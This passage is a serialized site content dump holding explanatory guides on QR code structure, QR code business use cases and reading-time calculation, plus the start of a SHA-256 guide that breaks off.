barcodes:",[41,249039,249040,249046,249052,249058],{},[44,249041,249042,249045],{},[47,249043,249044],{},"Higher data capacity"," — stores hundreds of times more information",[44,249047,249048,249051],{},[47,249049,249050],{},"Fast scanning"," — readable from any orientation in under a second",[44,249053,249054,249057],{},[47,249055,249056],{},"Error correction"," — survives damage, dirt, or partial obscuring",[44,249059,249060,249063],{},[47,249061,249062],{},"Versatile encoding"," — handles numbers, text, URLs, and binary data",[11,249065,249067],{"id":249066},"qr-code-structure","QR Code Structure",[16,249069,249070],{},"Every QR code contains fixed functional patterns that scanners use to locate and decode the data region. Here are the core components:",[33,249072,249074],{"id":249073},"finder-patterns","Finder Patterns",[16,249076,249077],{},"The three large squares in the corners (top-left, top-right, bottom-left) are finder patterns. They tell the scanner:",[41,249079,249080,249086,249092],{},[44,249081,249082,249085],{},[47,249083,249084],{},"This is a QR code"," (not random noise)",[44,249087,249088,249091],{},[47,249089,249090],{},"Where the boundaries are"," (orientation and alignment)",[44,249093,249094,249097],{},[47,249095,249096],{},"Which way is up"," (the fourth corner has no finder pattern)",[16,249099,249100],{},"Each finder pattern is a 7×7 module structure: dark ring, light ring, dark center.",[33,249102,249104],{"id":249103},"alignment-patterns","Alignment Patterns",[16,249106,249107],{},"QR codes Version 2 and above include smaller alignment patterns. These help the scanner correct for distortion when the code is printed on a curved surface or viewed at an angle. Larger versions contain more alignment patterns — Version 7 has 6, while Version 40 has 46.",[33,249109,249111],{"id":249110},"timing-patterns","Timing Patterns",[16,249113,249114],{},"Alternating dark and light modules running between the finder patterns form the timing patterns. They define the grid size and help the scanner determine the module positions.",[33,249116,249118],{"id":249117},"format-information","Format Information",[16,249120,249121,249122,98602,249125,249128],{},"Two strips near the finder patterns store the ",[47,249123,249124],{},"error correction level",[47,249126,249127],{},"mask pattern",". This data is duplicated for redundancy.",[33,249130,249132],{"id":249131},"data-and-error-correction-region","Data and Error Correction Region",[16,249134,249135],{},"The remaining area holds both the encoded data and the error correction codewords generated by Reed-Solomon encoding. Data is filled in a zigzag pattern from the bottom-right corner.",[11,249137,249139],{"id":249138},"encoding-modes","Encoding Modes",[16,249141,249142],{},"QR codes support four encoding modes, each optimized for different data types:",[193,249144,249145,249159],{},[196,249146,249147],{},[199,249148,249149,249151,249154,249157],{},[202,249150,25398],{},[202,249152,249153],{},"Characters Allowed",[202,249155,249156],{},"Data Density",[202,249158,489],{},[211,249160,249161,249173,249186,249199],{},[199,249162,249163,249165,249167,249170],{},[216,249164,25757],{},[216,249166,28727],{},[216,249168,249169],{},"3 digits per 10 bits",[216,249171,249172],{},"Phone numbers, IDs",[199,249174,249175,249177,249180,249183],{},[216,249176,248838],{},[216,249178,249179],{},"0–9, A–Z, space, $%*+-.\u002F:",[216,249181,249182],{},"2 chars per 11 bits",[216,249184,249185],{},"URLs (uppercase), serial codes",[199,249187,249188,249190,249193,249196],{},[216,249189,248854],{},[216,249191,249192],{},"ISO-8859-1 (Latin-1)",[216,249194,249195],{},"1 char per 8 bits",[216,249197,249198],{},"General text, UTF-8 strings",[199,249200,249201,249203,249206,249209],{},[216,249202,248870],{},[216,249204,249205],{},"Shift JIS double-byte",[216,249207,249208],{},"1 char per 13 bits",[216,249210,249211],{},"Japanese characters",[16,249213,249214,249216],{},[47,249215,91199],{}," Use the most efficient mode for your data. Numeric mode packs nearly 3× more data per module than byte mode. URLs work best in alphanumeric mode if they use only uppercase letters — but most modern scanners handle byte-encoded lowercase URLs without issue.",[11,249218,249220],{"id":249219},"version-sizes","Version Sizes",[16,249222,249223],{},"QR codes come in 40 versions, from Version 1 (21×21 modules) to Version 40 (177×177 modules). Each version adds 4 modules per side.",[16,249225,249226],{},[47,249227,249228],{},"What determines the version:",[77,249230,249231,249237,249243],{},[44,249232,249233,249236],{},[47,249234,249235],{},"Amount of data"," — more characters require a larger version",[44,249238,249239,249242],{},[47,249240,249241],{},"Error correction level"," — higher levels reduce usable capacity, pushing you to a larger version",[44,249244,249245,249248],{},[47,249246,249247],{},"Encoding mode"," — efficient modes (numeric) fit more data in smaller versions",[16,249250,249251,249252,249255],{},"For most business use cases — URLs, vCards, WiFi credentials — ",[47,249253,249254],{},"Versions 1 through 6"," (21×21 to 41×41) are sufficient.",[11,249257,249259],{"id":249258},"how-scanning-works","How Scanning Works",[16,249261,249262],{},"The scanning process happens in milliseconds but involves several steps:",[77,249264,249265,249271,249276,249282,249288,249293],{},[44,249266,249267,249270],{},[47,249268,249269],{},"Detection"," — The scanner identifies the three finder patterns and estimates the QR code's position and orientation.",[44,249272,249273,249275],{},[47,249274,65670],{}," — Timing and alignment patterns refine the module grid mapping.",[44,249277,249278,249281],{},[47,249279,249280],{},"Format decode"," — The scanner reads error correction level and mask pattern from the format information strips.",[44,249283,249284,249287],{},[47,249285,249286],{},"Unmasking"," — The mask pattern (one of 8 predefined patterns) is removed to restore the raw data modules.",[44,249289,249290,249292],{},[47,249291,249056],{}," — Reed-Solomon decoding corrects any damaged or unreadable modules.",[44,249294,249295,249298],{},[47,249296,249297],{},"Data decode"," — The scanner reads the data codewords in the zigzag order, decodes the mode indicator, character count, and the actual data payload.",[16,249300,249301],{},"Most smartphone cameras perform all of this in under 0.3 seconds.",[11,249303,249305],{"id":249304},"best-practices-for-creating-qr-codes","Best Practices for Creating QR Codes",[41,249307,249308,249314,249320,249326,249332,249337],{},[44,249309,249310,249313],{},[47,249311,249312],{},"Always test before printing"," — scan from multiple devices and distances",[44,249315,249316,249319],{},[47,249317,249318],{},"Leave quiet zone"," — maintain a 4-module white border around the code",[44,249321,249322,249325],{},[47,249323,249324],{},"Choose the right error correction level"," — use H (30%) for print; L (7%) for digital screens",[44,249327,249328,249331],{},[47,249329,249330],{},"Use dark on light"," — high contrast ensures reliable scanning",[44,249333,249334,249336],{},[47,249335,189681],{}," — less data means a smaller, easier-to-scan QR code",[44,249338,249339,249342],{},[47,249340,249341],{},"Avoid custom designs that break functional patterns"," — finder and alignment patterns must remain intact",[11,249344,249346],{"id":249345},"qr-code-vs-barcode","QR Code vs. Barcode",[193,249348,249349,249361],{},[196,249350,249351],{},[199,249352,249353,249355,249358],{},[202,249354,5867],{},[202,249356,249357],{},"QR Code",[202,249359,249360],{},"Linear Barcode",[211,249362,249363,249373,249384,249395,249405],{},[199,249364,249365,249367,249370],{},[216,249366,65882],{},[216,249368,249369],{},"2D",[216,249371,249372],{},"1D",[199,249374,249375,249378,249381],{},[216,249376,249377],{},"Max capacity",[216,249379,249380],{},"~7,000 numeric chars",[216,249382,249383],{},"~20 numeric chars",[199,249385,249386,249389,249392],{},[216,249387,249388],{},"Orientation",[216,249390,249391],{},"Any",[216,249393,249394],{},"Horizontal only",[199,249396,249397,249399,249402],{},[216,249398,249056],{},[216,249400,249401],{},"Yes (Reed-Solomon)",[216,249403,249404],{},"Minimal (check digits)",[199,249406,249407,249409,249412],{},[216,249408,154149],{},[216,249410,249411],{},"Text, URL, binary",[216,249413,249414],{},"Numeric, limited alpha",[16,249416,249417],{},"QR codes win on every metric except label space — linear barcodes are thinner and fit on narrow product edges.",[11,249419,321],{"id":320},[41,249421,249422,249427,249431],{},[44,249423,249424],{},[98,249425,249426],{"href":249009},"QR Code Error Correction",[44,249428,249429],{},[98,249430,248977],{"href":248976},[44,249432,249433],{},[98,249434,12185],{"href":12184},[11,249436,286],{"id":285},[16,249438,249439],{},"Ready to create your own QR code? Use our free online tool to generate QR codes for URLs, text, WiFi credentials, and more — no signup required.",[16,249441,4531,249442],{},[98,249443,249444],{"href":95695},"Create a QR Code Now — Free Online QR Code Generator",{"title":141,"searchDepth":337,"depth":337,"links":249446},[249447,249448,249455,249456,249457,249458,249459,249460,249461],{"id":249023,"depth":337,"text":249024},{"id":249066,"depth":337,"text":249067,"children":249449},[249450,249451,249452,249453,249454],{"id":249073,"depth":343,"text":249074},{"id":249103,"depth":343,"text":249104},{"id":249110,"depth":343,"text":249111},{"id":249117,"depth":343,"text":249118},{"id":249131,"depth":343,"text":249132},{"id":249138,"depth":337,"text":249139},{"id":249219,"depth":337,"text":249220},{"id":249258,"depth":337,"text":249259},{"id":249304,"depth":337,"text":249305},{"id":249345,"depth":337,"text":249346},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how QR codes work, their structure, encoding methods, and how to generate them for your business or project.",{"immutable":363},{"title":249015,"description":249462},"guides\u002Fqr-code-guide","fk_Ru30GwvqZA8TkTthKc-9zvpV-eddaKKJMzDyWal0",{"id":249468,"title":249469,"body":249470,"date":235803,"description":249930,"extension":361,"meta":249931,"navigation":363,"path":248976,"readingTime":1710,"seo":249932,"stem":249933,"__hash__":249934},"guides\u002Fguides\u002Fqr-code-use-cases.md","QR Code Use Cases: 15 Practical Applications for Business",{"type":8,"value":249471,"toc":249910},[249472,249475,249478,249482,249485,249499,249505,249509,249512,249526,249532,249536,249539,249565,249569,249572,249578,249581,249585,249588,249599,249605,249609,249612,249637,249641,249644,249658,249664,249668,249675,249689,249692,249696,249699,249710,249713,249717,249720,249728,249731,249735,249738,249758,249761,249765,249768,249779,249783,249786,249800,249803,249807,249810,249824,249827,249831,249834,249848,249851,249855,249858,249884,249886,249900,249902,249905],[16,249473,249474],{},"QR codes have evolved far beyond their industrial origins. Today, businesses of every size use them to bridge the physical and digital worlds — turning printed surfaces into interactive touchpoints.",[16,249476,249477],{},"Here are 15 practical QR code applications that deliver real business value.",[11,249479,249481],{"id":249480},"restaurant-menus","Restaurant Menus",[16,249483,249484],{},"Contactless menus became the norm after 2020, and they're here to stay. A QR code on each table lets diners:",[41,249486,249487,249490,249493,249496],{},[44,249488,249489],{},"Browse the full menu on their phone",[44,249491,249492],{},"See daily specials updated in real time",[44,249494,249495],{},"Switch languages instantly",[44,249497,249498],{},"Place orders directly from their device",[16,249500,249501,249504],{},[47,249502,249503],{},"Implementation tip:"," Use Level Q error correction for laminated menus that face spills and wear. Link to a responsive web page, not a PDF — mobile loading speed matters.",[11,249506,249508],{"id":249507},"mobile-payments","Mobile Payments",[16,249510,249511],{},"QR codes power payment systems worldwide — from Alipay and WeChat Pay in Asia to PayPal and Shopify in the West. Two models dominate:",[41,249513,249514,249520],{},[44,249515,249516,249519],{},[47,249517,249518],{},"Merchant-presented:"," A static QR code at the register; the customer scans and enters the amount.",[44,249521,249522,249525],{},[47,249523,249524],{},"Customer-presented:"," A dynamic QR code on the customer's phone; the merchant scans to charge.",[16,249527,249528,249531],{},[47,249529,249530],{},"Security note:"," Always use dynamic QR codes for payments so the URL can be verified server-side.",[11,249533,249535],{"id":249534},"event-tickets","Event Tickets",[16,249537,249538],{},"Paper tickets with QR codes replaced barcodes at most venues. Benefits include:",[41,249540,249541,249547,249553,249559],{},[44,249542,249543,249546],{},[47,249544,249545],{},"Instant validation"," — scan in under 1 second per guest",[44,249548,249549,249552],{},[47,249550,249551],{},"Fraud prevention"," — each code is unique and single-use",[44,249554,249555,249558],{},[47,249556,249557],{},"Real-time tracking"," — know exactly who has entered",[44,249560,249561,249564],{},[47,249562,249563],{},"Last-mile updates"," — change seat assignments or add info after printing",[11,249566,249568],{"id":249567},"wifi-network-sharing","WiFi Network Sharing",[16,249570,249571],{},"Typing a 16-character WiFi password is painful. A QR code encoded with WiFi credentials lets guests connect instantly:",[135,249573,249576],{"className":249574,"code":249575,"language":140},[138],"WIFI:T:WPA;S:NetworkName;P:Password123;;\n",[143,249577,249575],{"__ignoreMap":141},[16,249579,249580],{},"Any smartphone camera reads this format natively — no app needed. Hotels, coworking spaces, and cafes use this to eliminate password requests.",[11,249582,249584],{"id":249583},"vcard-contact-sharing","vCard Contact Sharing",[16,249586,249587],{},"Networking events generate stacks of business cards that nobody enters into their phone. A vCard QR code solves this:",[41,249589,249590,249593,249596],{},[44,249591,249592],{},"Scan the code → contact opens in the phone's address book",[44,249594,249595],{},"One tap to save — no manual entry",[44,249597,249598],{},"Include name, phone, email, company, and social profiles",[16,249600,249601,249604],{},[47,249602,249603],{},"Pro-tip:"," Use Level M error correction and keep the vCard data minimal. Shorter data = smaller code = easier to scan from a badge.",[11,249606,249608],{"id":249607},"product-packaging","Product Packaging",[16,249610,249611],{},"QR codes on packaging serve multiple purposes depending on placement:",[41,249613,249614,249620,249626,249631],{},[44,249615,249616,249619],{},[47,249617,249618],{},"Authentication"," — verify the product is genuine",[44,249621,249622,249625],{},[47,249623,249624],{},"Instructions"," — link to setup videos or multilingual manuals",[44,249627,249628,249630],{},[47,249629,67478],{}," — direct repeat customers to the purchase page",[44,249632,249633,249636],{},[47,249634,249635],{},"Sustainability info"," — share sourcing and recycling details",[11,249638,249640],{"id":249639},"marketing-campaigns","Marketing Campaigns",[16,249642,249643],{},"QR codes make print media measurable. Place them on:",[41,249645,249646,249649,249652,249655],{},[44,249647,249648],{},"Direct mail pieces — track response rates by campaign",[44,249650,249651],{},"Billboards — drive mobile traffic from outdoor ads",[44,249653,249654],{},"Print ads — measure ROI on magazine placements",[44,249656,249657],{},"Brochures — link to landing pages with attribution",[16,249659,249660,249663],{},[47,249661,249662],{},"Critical:"," Always use UTM parameters in QR code URLs so you can attribute scans in Google Analytics.",[11,249665,249667],{"id":249666},"two-factor-authentication","Two-Factor Authentication",[16,249669,249670,249671,249674],{},"Many 2FA apps (Google Authenticator, Authy) provision tokens via QR code. The encoded ",[143,249672,249673],{},"otpauth:\u002F\u002F"," URI contains:",[41,249676,249677,249680,249683,249686],{},[44,249678,249679],{},"The secret key",[44,249681,249682],{},"The issuer name",[44,249684,249685],{},"The account identifier",[44,249687,249688],{},"The algorithm and period",[16,249690,249691],{},"Scanning is far less error-prone than typing a 32-character base32 secret manually.",[11,249693,249695],{"id":249694},"surveys-and-feedback","Surveys and Feedback",[16,249697,249698],{},"Replace comment cards with QR codes:",[41,249700,249701,249704,249707],{},[44,249702,249703],{},"Print on receipts, tables, or takeaway bags",[44,249705,249706],{},"Link directly to a Google Form or Typeform",[44,249708,249709],{},"Incentivize completion with a discount code on submission",[16,249711,249712],{},"Response rates jump 3–5× compared to email surveys because the friction is near zero.",[11,249714,249716],{"id":249715},"app-downloads","App Downloads",[16,249718,249719],{},"App store links are awkward to type. A QR code that detects the operating system and routes accordingly:",[41,249721,249722,249725],{},[44,249723,249724],{},"iOS users → App Store",[44,249726,249727],{},"Android users → Google Play",[16,249729,249730],{},"Services like OneLink and Branch generate these smart links automatically.",[11,249732,249734],{"id":249733},"inventory-management","Inventory Management",[16,249736,249737],{},"Warehouses and factories use QR codes to track assets:",[41,249739,249740,249746,249752],{},[44,249741,249742,249745],{},[47,249743,249744],{},"Fixed assets"," — label equipment with QR codes linking to maintenance records",[44,249747,249748,249751],{},[47,249749,249750],{},"Stock bins"," — scan to update inventory counts in real time",[44,249753,249754,249757],{},[47,249755,249756],{},"Shipping"," — track packages through each sorting stage",[16,249759,249760],{},"QR codes outperform linear barcodes here because they store more data and scan faster from any angle.",[11,249762,249764],{"id":249763},"loyalty-programs","Loyalty Programs",[16,249766,249767],{},"Replace physical punch cards with a QR code on the customer's phone:",[41,249769,249770,249773,249776],{},[44,249771,249772],{},"Stamp tracking happens server-side — no forgery",[44,249774,249775],{},"Push notifications for rewards and offers",[44,249777,249778],{},"Purchase history tied to the loyalty account",[11,249780,249782],{"id":249781},"digital-business-cards","Digital Business Cards",[16,249784,249785],{},"Platforms like Linktree, about.me, and custom landing pages use a single QR code to share:",[41,249787,249788,249791,249794,249797],{},[44,249789,249790],{},"Portfolio links",[44,249792,249793],{},"Social media profiles",[44,249795,249796],{},"Booking calendar",[44,249798,249799],{},"Contact information",[16,249801,249802],{},"One code replaces a dozen icons.",[11,249804,249806],{"id":249805},"healthcare-and-prescription","Healthcare and Prescription",[16,249808,249809],{},"Hospitals use QR codes on wristbands and prescriptions to:",[41,249811,249812,249815,249818,249821],{},[44,249813,249814],{},"Verify patient identity at every touchpoint",[44,249816,249817],{},"Link to electronic health records",[44,249819,249820],{},"Track medication administration",[44,249822,249823],{},"Reduce transcription errors",[16,249825,249826],{},"HIPAA compliance requires the QR code to link to a secure, authenticated portal — never embed PHI directly in the code.",[11,249828,249830],{"id":249829},"boarding-passes","Boarding Passes",[16,249832,249833],{},"Airlines replaced magnetic-stripe boarding passes with QR codes on paper and mobile screens. The IATA standard (BCBP) encodes:",[41,249835,249836,249839,249842,249845],{},[44,249837,249838],{},"Passenger name",[44,249840,249841],{},"Flight number and date",[44,249843,249844],{},"Seat assignment",[44,249846,249847],{},"Sequence number",[16,249849,249850],{},"A single QR code replaces a multi-line barcode, scanning faster and storing more data.",[11,249852,249854],{"id":249853},"how-to-choose-the-right-use-case","How to Choose the Right Use Case",[16,249856,249857],{},"Not every QR code application makes sense for every business. Ask yourself:",[77,249859,249860,249866,249872,249878],{},[44,249861,249862,249865],{},[47,249863,249864],{},"Does it reduce friction?"," If scanning is harder than the alternative, skip it.",[44,249867,249868,249871],{},[47,249869,249870],{},"Is the destination mobile-friendly?"," 99% of QR scans happen on phones.",[44,249873,249874,249877],{},[47,249875,249876],{},"Can you measure it?"," Use trackable URLs or UTM tags.",[44,249879,249880,249883],{},[47,249881,249882],{},"Does the error correction match the environment?"," Print needs Q or H; digital needs L or M.",[11,249885,321],{"id":320},[41,249887,249888,249892,249896],{},[44,249889,249890],{},[98,249891,248971],{"href":248970},[44,249893,249894],{},[98,249895,249426],{"href":249009},[44,249897,249898],{},[98,249899,12185],{"href":12184},[11,249901,286],{"id":285},[16,249903,249904],{},"Ready to put QR codes to work? Our free generator supports URLs, text, WiFi, vCard, and more — with selectable error correction levels.",[16,249906,4531,249907],{},[98,249908,249909],{"href":95695},"Create Your QR Code — Free Online Generator",{"title":141,"searchDepth":337,"depth":337,"links":249911},[249912,249913,249914,249915,249916,249917,249918,249919,249920,249921,249922,249923,249924,249925,249926,249927,249928,249929],{"id":249480,"depth":337,"text":249481},{"id":249507,"depth":337,"text":249508},{"id":249534,"depth":337,"text":249535},{"id":249567,"depth":337,"text":249568},{"id":249583,"depth":337,"text":249584},{"id":249607,"depth":337,"text":249608},{"id":249639,"depth":337,"text":249640},{"id":249666,"depth":337,"text":249667},{"id":249694,"depth":337,"text":249695},{"id":249715,"depth":337,"text":249716},{"id":249733,"depth":337,"text":249734},{"id":249763,"depth":337,"text":249764},{"id":249781,"depth":337,"text":249782},{"id":249805,"depth":337,"text":249806},{"id":249829,"depth":337,"text":249830},{"id":249853,"depth":337,"text":249854},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Discover 15 practical QR code use cases. From restaurant menus to event tickets, learn how businesses leverage QR codes effectively.",{"immutable":363},{"title":249469,"description":249930},"guides\u002Fqr-code-use-cases","8G-IJtSO3rgqJGR1xPezyrNPCVi5PDUqh6y8edDMSAI",{"id":249936,"title":249937,"body":249938,"date":235803,"description":250443,"extension":361,"meta":250444,"navigation":363,"path":224798,"readingTime":1710,"seo":250445,"stem":250446,"__hash__":250447},"guides\u002Fguides\u002Freading-time-calculation.md","How Reading Time Is Calculated: The Science Behind It",{"type":8,"value":249939,"toc":250421},[249940,249944,249947,249950,249954,249957,249977,249984,249988,250034,250038,250041,250047,250050,250077,250081,250084,250090,250102,250106,250109,250113,250133,250137,250157,250161,250168,250172,250179,250183,250186,250233,250236,250261,250265,250291,250295,250298,250318,250325,250329,250393,250395,250409,250411,250414],[11,249941,249943],{"id":249942},"what-is-reading-time","What Is Reading Time?",[16,249945,249946],{},"Reading time is an estimate of how long it takes an average person to read a piece of text. You've likely seen it on blog posts (\"5 min read\") or Medium articles. These estimates help readers decide whether to invest their time and set expectations before they start.",[16,249948,249949],{},"But how accurate are these numbers? And how are they calculated? Let's break down the science.",[11,249951,249953],{"id":249952},"the-average-reading-speed","The Average Reading Speed",[16,249955,249956],{},"For English text, the commonly accepted average reading speed is:",[41,249958,249959,249965,249971],{},[44,249960,249961,249964],{},[47,249962,249963],{},"Silent reading (adults)",": 200–250 words per minute (WPM)",[44,249966,249967,249970],{},[47,249968,249969],{},"Oral reading (adults)",": 150–180 WPM",[44,249972,249973,249976],{},[47,249974,249975],{},"Skimming",": 400–700 WPM (with reduced comprehension)",[16,249978,249979,249980,249983],{},"Most reading time calculators use ",[47,249981,249982],{},"238 WPM"," as the baseline. This figure comes from a 2019 meta-analysis by Brysbaert et al., which reviewed 190 studies on reading speed. It's more accurate than the older 250 WPM estimate that many tools still use.",[33,249985,249987],{"id":249986},"reading-speed-by-age","Reading Speed by Age",[193,249989,249990,250000],{},[196,249991,249992],{},[199,249993,249994,249997],{},[202,249995,249996],{},"Age Group",[202,249998,249999],{},"Average WPM",[211,250001,250002,250010,250018,250026],{},[199,250003,250004,250007],{},[216,250005,250006],{},"Children (8–10 years)",[216,250008,250009],{},"120–150",[199,250011,250012,250015],{},[216,250013,250014],{},"Teens (13–17 years)",[216,250016,250017],{},"180–220",[199,250019,250020,250023],{},[216,250021,250022],{},"Adults (18–64 years)",[216,250024,250025],{},"200–260",[199,250027,250028,250031],{},[216,250029,250030],{},"Older adults (65+)",[216,250032,250033],{},"175–225",[11,250035,250037],{"id":250036},"the-calculation-formula","The Calculation Formula",[16,250039,250040],{},"The standard reading time formula is straightforward:",[135,250042,250045],{"className":250043,"code":250044,"language":140},[138],"Reading Time (minutes) = Total Word Count ÷ Reading Speed (WPM)\n",[143,250046,250044],{"__ignoreMap":141},[16,250048,250049],{},"For example:",[41,250051,250052,250061,250069],{},[44,250053,250054,250057,250058],{},[47,250055,250056],{},"750 words"," at 238 WPM = ",[47,250059,250060],{},"3.2 minutes",[44,250062,250063,250057,250066],{},[47,250064,250065],{},"2,000 words",[47,250067,250068],{},"8.4 minutes",[44,250070,250071,250057,250074],{},[47,250072,250073],{},"10,000 words",[47,250075,250076],{},"42 minutes",[33,250078,250080],{"id":250079},"adding-buffer-time-for-non-text-content","Adding Buffer Time for Non-Text Content",[16,250082,250083],{},"Most modern calculators add time for images and code blocks:",[135,250085,250088],{"className":250086,"code":250087,"language":140,"meta":141},[138],"Total Reading Time = (Word Count ÷ 238) + (Image Count × 0.083) + (Code Blocks × 0.5)\n",[143,250089,250087],{"__ignoreMap":141},[41,250091,250092,250097],{},[44,250093,250094,250096],{},[47,250095,132950],{},": Roughly 5 seconds (0.083 minutes) per image — based on Medium's approach of adding 12 seconds for the first image and 11 seconds for each subsequent image",[44,250098,250099,250101],{},[47,250100,148918],{},": About 30 seconds per block, since readers often pause to study code",[11,250103,250105],{"id":250104},"factors-that-affect-reading-speed","Factors That Affect Reading Speed",[16,250107,250108],{},"Reading speed isn't fixed. Several factors can push it higher or lower:",[33,250110,250112],{"id":250111},"content-complexity","Content Complexity",[41,250114,250115,250121,250127],{},[44,250116,250117,250120],{},[47,250118,250119],{},"Simple narrative",": 250–300 WPM (novels, casual blog posts)",[44,250122,250123,250126],{},[47,250124,250125],{},"Technical writing",": 150–200 WPM (documentation, research papers)",[44,250128,250129,250132],{},[47,250130,250131],{},"Legal\u002Facademic text",": 100–150 WPM (dense jargon, complex sentence structures)",[33,250134,250136],{"id":250135},"text-formatting","Text Formatting",[41,250138,250139,250145,250151],{},[44,250140,250141,250144],{},[47,250142,250143],{},"Short paragraphs",": Readers move faster",[44,250146,250147,250150],{},[47,250148,250149],{},"Bullet points and headers",": Improve scanning speed by 25–40%",[44,250152,250153,250156],{},[47,250154,250155],{},"Long unbroken blocks",": Slow readers down significantly",[33,250158,250160],{"id":250159},"readers-familiarity-with-the-topic","Reader's Familiarity with the Topic",[16,250162,250163,250164,250167],{},"Readers fluent in a subject read ",[47,250165,250166],{},"20–30% faster"," than newcomers. A developer reads API documentation far quicker than a non-technical project manager.",[33,250169,250171],{"id":250170},"language-proficiency","Language Proficiency",[16,250173,250174,250175,250178],{},"Non-native English speakers read English text ",[47,250176,250177],{},"15–30% slower"," than native speakers. If your audience is global, consider adjusting your reading time estimates upward.",[11,250180,250182],{"id":250181},"screen-vs-paper-does-it-matter","Screen vs. Paper: Does It Matter?",[16,250184,250185],{},"Yes. Multiple studies show reading speed differs between screens and paper:",[193,250187,250188,250200],{},[196,250189,250190],{},[199,250191,250192,250194,250197],{},[202,250193,7639],{},[202,250195,250196],{},"Average Speed",[202,250198,250199],{},"Comprehension",[211,250201,250202,250212,250223],{},[199,250203,250204,250207,250210],{},[216,250205,250206],{},"Printed paper",[216,250208,250209],{},"250–280 WPM",[216,250211,229651],{},[199,250213,250214,250217,250220],{},[216,250215,250216],{},"Desktop screen",[216,250218,250219],{},"200–240 WPM",[216,250221,250222],{},"Slightly lower",[199,250224,250225,250228,250231],{},[216,250226,250227],{},"Mobile phone",[216,250229,250230],{},"180–210 WPM",[216,250232,85214],{},[16,250234,250235],{},"Why screens slow us down:",[41,250237,250238,250244,250250,250256],{},[44,250239,250240,250243],{},[47,250241,250242],{},"Eye fatigue"," increases on backlit displays",[44,250245,250246,250249],{},[47,250247,250248],{},"Scrolling"," interrupts the reading flow",[44,250251,250252,250255],{},[47,250253,250254],{},"Distractions"," (notifications, links) compete for attention",[44,250257,250258,250260],{},[47,250259,192468],{}," on mobile is shorter, causing more eye movements",[33,250262,250264],{"id":250263},"tips-for-screen-optimized-writing","Tips for Screen-Optimized Writing",[41,250266,250267,250273,250279,250285],{},[44,250268,250269,250270],{},"Keep paragraphs to ",[47,250271,250272],{},"3–4 sentences maximum",[44,250274,1388,250275,250278],{},[47,250276,250277],{},"descriptive headers"," every 200–300 words",[44,250280,59390,250281,250284],{},[47,250282,250283],{},"white space"," between sections",[44,250286,250287,250290],{},[47,250288,250289],{},"Bold key terms"," to help scanners find them",[11,250292,250294],{"id":250293},"how-accurate-are-reading-time-estimates","How Accurate Are Reading Time Estimates?",[16,250296,250297],{},"Reading time estimates are useful but imperfect. Here's why:",[41,250299,250300,250306,250312],{},[44,250301,250302,250305],{},[47,250303,250304],{},"Individual variation is huge",": The slowest and fastest readers in a population can differ by a factor of 3×",[44,250307,250308,250311],{},[47,250309,250310],{},"Reader behavior varies",": Some readers skim, others read every word",[44,250313,250314,250317],{},[47,250315,250316],{},"Content complexity is hard to quantify",": A 1,000-word technical tutorial takes longer than a 1,000-word opinion piece",[16,250319,250320,250321,250324],{},"The best way to think about reading time: ",[47,250322,250323],{},"it's a benchmark, not a stopwatch",". It gives readers a ballpark, which is all most people need to decide whether to click.",[11,250326,250328],{"id":250327},"reading-time-for-different-formats","Reading Time for Different Formats",[193,250330,250331,250343],{},[196,250332,250333],{},[199,250334,250335,250337,250340],{},[202,250336,13018],{},[202,250338,250339],{},"Typical Word Count",[202,250341,250342],{},"Estimated Reading Time",[211,250344,250345,250354,250364,250373,250383],{},[199,250346,250347,250349,250351],{},[216,250348,224416],{},[216,250350,224419],{},[216,250352,250353],{},"Under 1 minute",[199,250355,250356,250359,250361],{},[216,250357,250358],{},"Email newsletter",[216,250360,224482],{},[216,250362,250363],{},"2–3 minutes",[199,250365,250366,250368,250370],{},[216,250367,225069],{},[216,250369,224397],{},[216,250371,250372],{},"6–10 minutes",[199,250374,250375,250378,250380],{},[216,250376,250377],{},"Whitepaper",[216,250379,2790],{},[216,250381,250382],{},"20–40 minutes",[199,250384,250385,250388,250390],{},[216,250386,250387],{},"Novel chapter",[216,250389,2726],{},[216,250391,250392],{},"12–20 minutes",[11,250394,321],{"id":320},[41,250396,250397,250401,250405],{},[44,250398,250399],{},[98,250400,24477],{"href":24476},[44,250402,250403],{},[98,250404,24471],{"href":24470},[44,250406,250407],{},[98,250408,245994],{"href":245993},[11,250410,286],{"id":285},[16,250412,250413],{},"Want to calculate reading time for your own text? Our free word counter tool shows word count, character count, and estimated reading time instantly.",[16,250415,4531,250416],{},[98,250417,250418],{"href":3236},[47,250419,250420],{},"Free Word Counter Tool",{"title":141,"searchDepth":337,"depth":337,"links":250422},[250423,250424,250427,250430,250436,250439,250440,250441,250442],{"id":249942,"depth":337,"text":249943},{"id":249952,"depth":337,"text":249953,"children":250425},[250426],{"id":249986,"depth":343,"text":249987},{"id":250036,"depth":337,"text":250037,"children":250428},[250429],{"id":250079,"depth":343,"text":250080},{"id":250104,"depth":337,"text":250105,"children":250431},[250432,250433,250434,250435],{"id":250111,"depth":343,"text":250112},{"id":250135,"depth":343,"text":250136},{"id":250159,"depth":343,"text":250160},{"id":250170,"depth":343,"text":250171},{"id":250181,"depth":337,"text":250182,"children":250437},[250438],{"id":250263,"depth":343,"text":250264},{"id":250293,"depth":337,"text":250294},{"id":250327,"depth":337,"text":250328},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how reading time estimates work. Understand average reading speeds, calculation formulas, and factors that affect reading pace.",{"immutable":363},{"title":249937,"description":250443},"guides\u002Freading-time-calculation","7vUYZKwltCtEc7Dg8BkAJoZjWwAUEXDpIFYGoc36z8g",{"id":250449,"title":250450,"body":250451,"date":235803,"description":251090,"extension":361,"meta":251091,"navigation":363,"path":237487,"readingTime":1710,"seo":251092,"stem":251093,"__hash__":251094},"guides\u002Fguides\u002Fsha-256-practical-guide.md","SHA-256 Practical Guide: Real-World Applications",{"type":8,"value":250452,"toc":251061},[250453,250457,250460,250463,250467,250470,250474,250481,250487,250490,250494,250497,250501,250524,250528,250531,250533,250547,250553,250556,250560,250563,250567,250589,250593,250596,250600,250607,250611,250744,250746,250753,250837,250842,250846,250849,250853,250856,250881,250885,250888,250892,250895,250899,250902,250908,250911,250915,250992,250994,250997,251023,251026,251028,251042,251044,251050,251053,251058],[11,250454,250456],{"id":250455},"why-sha-256-matters","Why SHA-256 Matters",[16,250458,250459],{},"SHA-256 is the workhorse of modern cryptography. It produces a 256-bit (32-byte) hash value — typically rendered as 64 hexadecimal characters — from any input, regardless of size. Its combination of security, performance, and widespread support makes it the default choice across industries.",[16,250461,250462],{},"This guide explores where and how SHA-256 is used in production systems 